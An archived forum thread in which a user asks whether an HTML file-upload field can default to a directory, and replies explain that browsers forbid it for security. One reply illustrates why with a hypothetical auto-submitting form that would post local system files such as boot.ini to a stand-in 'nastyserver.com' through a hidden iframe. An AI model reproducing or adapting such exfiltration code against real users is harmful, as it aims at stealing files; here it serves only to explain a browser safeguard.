Ask a Question related to ASP, Design and Development.

  1. #1

    Default input type=file

    is it possible to define a default or start up directory with input
    type="file" field type?

    If so, is it also possible to filter by another option box selection?

    If so, how so?

    Thank you

    Paul Moffitt


    Paul Moffitt Guest

  2. Similar Questions and Discussions

    1. changing input type file
      i would very very much like to change the browse button on the file upload to one of my own am i right in thinking if i create an inhertited...
    2. Input type file on asp page
      Hi there Is there any way to se the default of a file asp (html) component to a specified directory on a network drive every time an instrnet asp...
    3. HowTo Send Uploaded File with INPUT Type file to Sql Server Image Data Type
      I have the following problem: I have the following form client side: <FORM.......> <FORM action="./WZUpload.asp" method="Post"...
    4. HowTo Send Uploaded File with INPUT Type file to Sql Server Image Data Type ?
      I have the following problem: I have the following form client side: <FORM.......> <FORM action="./WZUpload.asp" method="Post"...
    5. reading the input type=file tag with ie6 in asp
      I wanted to write a simple page to let me choose a directory and then list the files in it. The end goal was to make an easy way to copy all the...
  3. #2

    Default Re: input type=file

    No, it is not. For security reasons, you cannot pre-specify any sort of
    value for a file input. (Unless you run across someone using IE 1 or
    something maybe...)

    Ray at work

    "Paul Moffitt" <NOSPAMpaulmoffitt@iniinc.com> wrote in message
    news:eNNNfGXbDHA.1808@TK2MSFTNGP11.phx.gbl...
    > is it possible to define a default or start up directory with input
    > type="file" field type?
    >
    > If so, is it also possible to filter by another option box selection?
    >
    > If so, how so?
    >
    > Thank you
    >
    > Paul Moffitt
    >
    >

    Ray at Guest

  4. #3

    Default Re: input type=file

    > is it possible to define a default or start up directory with input
    > type="file" field type?
    No. What would prevent you from doing this?

    <form method=post action=http://nastyserver.com/ target=hiddenframe>
    <input type=file value='c:\boot.ini'>
    <input type=file value='c:\windows\system32\user.dat'>
    ....
    etc etc
    ....
    </form>
    <iframe name=hiddenframe width=1 height=1 style='visibility:hidden'>
    </iframe>
    <script>
    document.forms[0].submit();
    </script>

    I rather like this security mechanism. If your users can't figure out how
    to use a browse... dialog, it might be time to upgrade to better users.


    Aaron Bertrand - MVP Guest

  5. #4

    Default Re: input type=file

    >> it might be time to upgrade to better users.


    Where do I request this upgrade? I didn't even know I had
    that option. Do I send the old ones (users) back to you?

    :)

    John

    John Beschler Guest

  6. #5

    Default Re: input type=file

    > Do I send the old ones (users) back to you?

    Gosh no. I think I'm about 5 versions ahead of you. :-)


    Aaron Bertrand - MVP Guest

Posting Permissions

  • You may not post new threads
  • You may post replies
  • You may not post attachments
  • You may not edit your posts

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139